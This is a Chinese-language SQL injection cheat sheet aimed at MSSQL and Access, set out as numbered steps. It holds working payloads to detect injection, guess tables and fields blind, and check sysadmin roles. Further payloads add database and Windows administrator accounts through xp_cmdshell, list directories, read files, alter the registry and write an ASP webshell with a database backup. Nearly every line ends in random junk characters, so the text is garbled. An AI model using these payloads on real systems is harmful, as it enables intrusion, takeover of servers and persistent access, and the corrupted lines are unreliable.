1.判断是否有注入;and 1=1 ;and 1=2 U3{<+vSR`
2.初步判断是否是mssql ;and user>0 &u2;S?7m
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3.注入参数是字符'and [查询条件] and ''=' jsN[Drr a
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' ipwlP|UjQ5
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5.判断数据库系统 ['IH*gi
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;and (select count(*) from sysobjects)>0 mssql ?XHQdN3e
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;and (select count(*) from msysobjects)>0 access a<<4gXx
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 \jiE:Qt
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 OT
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Me.I>7c
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9.(1)猜字段的ascii值(access) $X#y9<bW
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 qPQIcJ
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(2)猜字段的ascii值(mssql) |8k1Bap`z
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 0SI@`C*1o
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10.测试权限结构(mssql) PR@6=[|d
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Ol>q(-ea
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- z%D7x5!,R
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- pp@
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- '#+&?6 p
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- }p~2lOI
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- p3M!H2W
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;and 1=(select IS_MEMBER('db_owner'));-- B->AY.&j
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11.添加mssql和系统的帐户 d6J/)nl
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;exec master.dbo.sp_addlogin username;-- MNu0t\`p4
;exec master.dbo.sp_password null,username,password;-- 8qyEHUN2q
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- l!tR<$|
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;exec master.dbo.xp_cmdshell 'net user username password Y}ogwg&
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- D>7a0p784
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- pl]|yIZ
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- i=gZ8Q=H
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12.(1)遍历目录 ,Wlt[T(.;
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;create table dirs(paths varchar(100), id int) b >D
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;insert dirs exec master.dbo.xp_dirtree 'c:\' 27SHj9I
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;and (select top 1 paths from dirs)>0 I8bM-k):9R
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) (tg.]q_=u
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(2)遍历目录 DPI[~
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- '7?Y+R@|L
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 x%EGxs;>^
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Fl`U{03
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 KsKE#])&l
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Dj\nsc@e3
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13.mssql中的存储过程 w ,j*I7V
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xp_regenumvalues 注册表根键, 子键 O*~,L6# }
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Y9^l|,bm5
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xp_regread 根键,子键,键值名 Tx.N#,T|
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;exec xp_regread p~w] ~\
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 oP,*H6)i
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xp_regwrite 根键,子键, 值名, 值类型, 值 n#">k%bD
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
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xp_regdeletevalue 根键,子键,值名 t(3f} ?
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 7ui<2(W@0
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 yI^Yh{
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14.mssql的backup创建webshell 64u(X^i
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use model x {NBhq(4
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create table cmd(str image); 0Q{lyu
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insert into cmd(str) values (''); 1K9.3n
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backup database model to disk='c:\l.asp'; '7'/+G'~&
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15.mssql内置函数 5sJ>+Rg
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;and (select @@version)>0 获得Windows的版本号 7z;2J;u`n
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa ??/bI~Sd
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;and (select user_name())>0 爆当前系统的连接用户 77M!2S_E
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;and (select db_name())>0 得到当前连接的数据库 NMkP#s7.y
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16.简洁的webshell $]|3^(y``
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use model ]H/,Q6Q
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create table cmd(str image); U;bx^2<m
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insert into cmd(str) values (''); Iy_5k8]
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backup database model to disk='g:\wwwtest\l.asp';